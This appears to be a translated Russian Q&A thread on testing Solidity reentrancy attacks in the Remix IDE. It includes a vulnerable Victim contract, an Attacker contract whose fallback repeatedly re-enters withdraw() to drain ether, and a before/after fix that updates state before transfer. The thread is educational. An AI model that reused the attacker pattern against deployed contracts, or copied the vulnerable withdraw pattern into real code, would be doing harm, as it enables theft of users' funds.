Тестирование реентерабельных атак в ремиксе

Можно ли протестировать реентерабельность в remix IDE? если да, может ли кто-нибудь привести пример того, как.

Ответы (2)

Вот классический пример повторной атаки. Вы можете увидеть, как это работает, посмотрев, как функция атаки контракта злоумышленника взаимодействует с функцией вывода средств жертвы, функции, используемые жертвой для отправки эфира, и как резервная функция злоумышленника неоднократно вызывает функцию вывода средств жертвы.

Вы можете проверить это в Remix, развернув контракт жертвы, а затем контракт злоумышленника с адресом жертвы в качестве входных данных.

После вызова функции атаки вы можете проверить повторяющиеся изъятия по зарегистрированным событиям.

Вы можете использовать метод, аналогичный функции атаки, для тестирования других контрактов, которые имеют аналогичный шаблон, как функция отказа жертвы.

pragma solidity ^0.4.8;

contract Victim {

    uint public owedToAttacker;

    function Victim() {
        owedToAttacker =11;
    }

    function withdraw() {
        if (!msg.sender.call.value(owedToAttacker)()) revert(); 
        owedToAttacker = 0;
    }

    // deposit some funds for testing
    function deposit() payable {}

    function getBalance() public constant returns(uint) { return this.balance; }    
}

contract Attacker {

    Victim v;
    uint public count;

    event LogFallback(uint count, uint balance);

    function Attacker(address victim) payable {
        v = Victim(victim);
    }

    function attack() {
        v.withdraw();
    }

    function () payable {
        count++;
        LogFallback(count, this.balance);
        // crude stop before we run out of gas
        if(count < 30) v.withdraw();
    }

    function getBalance() public constant returns(uint) { return this.balance; }    

}
Выше работает только из-за того, что функция снятия не имеет только модификаторов владельца. то, что я ловил, было примером с обновлением балансов после вызова функции передачи, позволяющей кому-то повторно войти до обновления балансов, пример этого, который тестируется в среде remix IDE.
Собственно там тоже такое бывает. owedToAttacker = 0;фактически никогда не достигается до тех пор, пока злоумышленник не вызовет команду remove 30 раз. msg.sender.call.value(owedToAttacker)вызывается 30 раз, в то время как owedToAttacker все еще 11, прежде чем он когда-либо изменится на 0
не 23 раза?
Счетчик не инициализирован, поэтому по умолчанию он равен нулю. Проверка имеет количество < 30, поэтому она будет выполняться от 0 до 29.
Где-то описан этот контрольный счет 30?
Да в резервной функции контракта злоумышленника:if (count < 30) v.withdraw();
Извини, мой плохой, Тай!

Вот тривиальная уязвимая функция повторного входа, которая, по-видимому, меняет состояние после transfer.

pragma solidity ^0.4.17;

contract Reentrant {

    int x;

    function bad() public returns(bool success) {

        msg.sender.transfer(this.balance);
        x = 0;
        return true;
    }

}

Вот предупреждение Remix о небезопасном шаблоне.

введите описание изображения здесь

Вы можете решить проблему повторного входа с помощью «оптимистического учета». Просто нажмите, чтобы transferвсе получилось, и знайте, что revertв случае transferнеудачи произойдет изменение состояния.

pragma solidity ^0.4.17;

contract NotReentrant {

    int x;

    function good() public returns(bool success) {

        x = 0;
        msg.sender.transfer(this.balance);
        return true;
    }

}

Надеюсь, это поможет.